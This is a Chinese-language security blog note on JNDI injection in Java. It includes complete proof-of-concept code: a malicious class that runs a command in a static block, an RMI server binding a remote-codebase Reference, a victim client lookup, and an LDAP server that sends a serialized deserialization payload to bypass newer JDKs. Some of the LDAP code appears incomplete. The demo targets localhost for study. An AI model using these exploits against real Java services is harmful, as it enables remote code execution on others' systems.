BlogPapers

SummerSec

View on GitHub

JNDI注入

文中环境代码上传到https://github.com/SummerSec/JavaLearnVulnerability/tree/master/RMI%20JRMP%20JNDI

此文只是一篇笔记,所以有点乱。

将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

image-20210427154417233

jndi注入的利用条件

上面两个都是在编写程序时可能存在的脆弱点(任意一个满足就行),除此之外,jdk版本在jndi注入中也起着至关重要的作用,而且不同的攻击响亮对jdk的版本要求也不一致,这里就全部列出来:

jndi注入 demo

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;

public class EvilObj {
    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while((lineStr = inBr.readLine()) != null){
            sb += lineStr+"\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
        return null;
    }

    static {
        try{
            exec("gnome-calculator");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

可以看到这里利用的是static代码块执行命令

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://127.0.0.1:6666/";
        System.out.println("Create RMI registry on port 1099");
        Reference reference = new Reference("EvilObj", "EvilObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("evil", referenceWrapper);
    }

}
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        Context context = new InitialContext();
        context.lookup("rmi://localhost:1099/evil");
    }
}

可以看到这里的lookup方法的参数是指向我设定的恶意rmi地址的。

然后先编译该项目,生成class文件,然后在class文件目录下用python启动一个简单的HTTP Server:

python -m SimpleHTTPServer 6666

执行上述命令就会在6666端口、当前目录下运行一个HTTP Server:

image-20210427154732163

然后运行Server端,启动rmi registry服务

成功弹出计算器。注意,我这里用到的jdk版本为jdk7

image-20210427154801968


高版本JDK绕过,使用序列化对象进行Bypass

其实一直以来JNDI有两种方式注入

LDAP can be used to store Java objects by using several special Java attributes. There are at least two ways a Java object can be represented in an LDAP directory:

● Using Java serialization https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html ● Using JNDI References https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html

img

导致jndi的rmi reference方式失效,但ldap的reference方式仍然可行

导致jndi的ldap reference方式失效,到这里为止,远程codebase的方式基本失效,除非认为设为tr

com/sun/jndi/ldap/Obj.java做了两个判断1. reference 2. Serializable

img

一是利用远程codebase的方式,二是利用本地ClassPath里的反序列化利用链。在最新版的jdk8u中,codebase的方式依赖com.sun.jndi.ldap.object.trustURLCodebase的值,而第二种方式仍未失效。

如果在返回的属性中存在javaSerializedData,将继续调用deserializeObject函数,该函数主要就是调用常规的反序列化方式readObject对序列化数据进行还原

image-20211130152733686

实现代码:

package summersec.ldap;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import java.io.FileInputStream;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public LdapServer() {
    }

    public static String readFile(String filePath) throws Exception {
        String result = "ser.payload";
        return result;
    }

    public static void main(String[] args) throws Exception {
        String url = "http://127.0.0.1/#T";
        String ports = "8080";
        int port = 8080;
        String file = "1.ser";
        String POC = readFile(file);


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[]{"dc=example,dc=com"});
            config.setListenerConfigs(new InMemoryListenerConfig[]{new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory)SSLSocketFactory.getDefault())});
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url), POC));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        } catch (Exception var8) {
            var8.printStackTrace();
        }

    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        private String POC;

        public OperationInterceptor(URL cb, String POC) {
            this.codebase = cb;
            this.POC = POC;
        }

        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);

            try {
                this.sendResult(result, base, e);
            } catch (Exception var5) {
                var5.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf(35);
            if (refPos > 0) {
                cbstring.substring(0, refPos);
            }
            try {
                e.addAttribute("javaSerializedData", Base64.decode(this.POC));
            } catch (ParseException var8) {
                var8.printStackTrace();
            }
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

可以使用项目LdapBypassJndi,工具将代码实现了ldap序列化对象的漏洞利用。